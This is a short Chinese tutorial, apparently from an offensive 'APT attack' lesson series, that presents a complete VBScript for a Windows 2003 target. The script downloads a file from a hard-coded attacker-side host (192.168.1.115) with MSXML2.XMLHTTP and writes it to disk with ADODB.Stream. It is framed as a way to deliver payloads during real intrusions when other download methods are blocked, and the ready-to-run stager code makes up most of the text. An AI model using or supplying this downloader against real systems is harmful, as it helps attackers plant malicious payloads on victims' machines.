第三十九課:vbs一句話下載payload補(bǔ)充
專注APT攻擊與防御
https://micropoor.blogspot.com/

在實戰(zhàn)中,會碰到許多讓人敬畏的環(huán)境,也許無法執(zhí)行,或者無法把下載參數(shù)帶入其中,故補(bǔ)充第七季vbs參數(shù)化的下載。

靶機(jī):windows 2003
附:源碼如下:

1 strFileURL = "http://192.168.1.115/robots.txt"
2 strHDLocation = "c:testlogo.txt"
3 Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
4 objXMLHTTP.open "GET", strFileURL, false
5 objXMLHTTP.send()
6 If objXMLHTTP.Status = 200 Then
7 Set objADOStream = CreateObject("ADODB.Stream")
8 objADOStream.Open
9 objADOStream.Type = 1
10 objADOStream.Write objXMLHTTP.ResponseBody
11 objADOStream.Position = 0
12 Set objFSO = CreateObject("Scripting.FileSystemObject")
13 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
14 Set objFSO = Nothing
15 objADOStream.SaveToFile strHDLocation
16 objADOStream.Close
17 Set objADOStream = Nothing
18 End if
19 Set objXMLHTTP = Nothing

Micropoor
?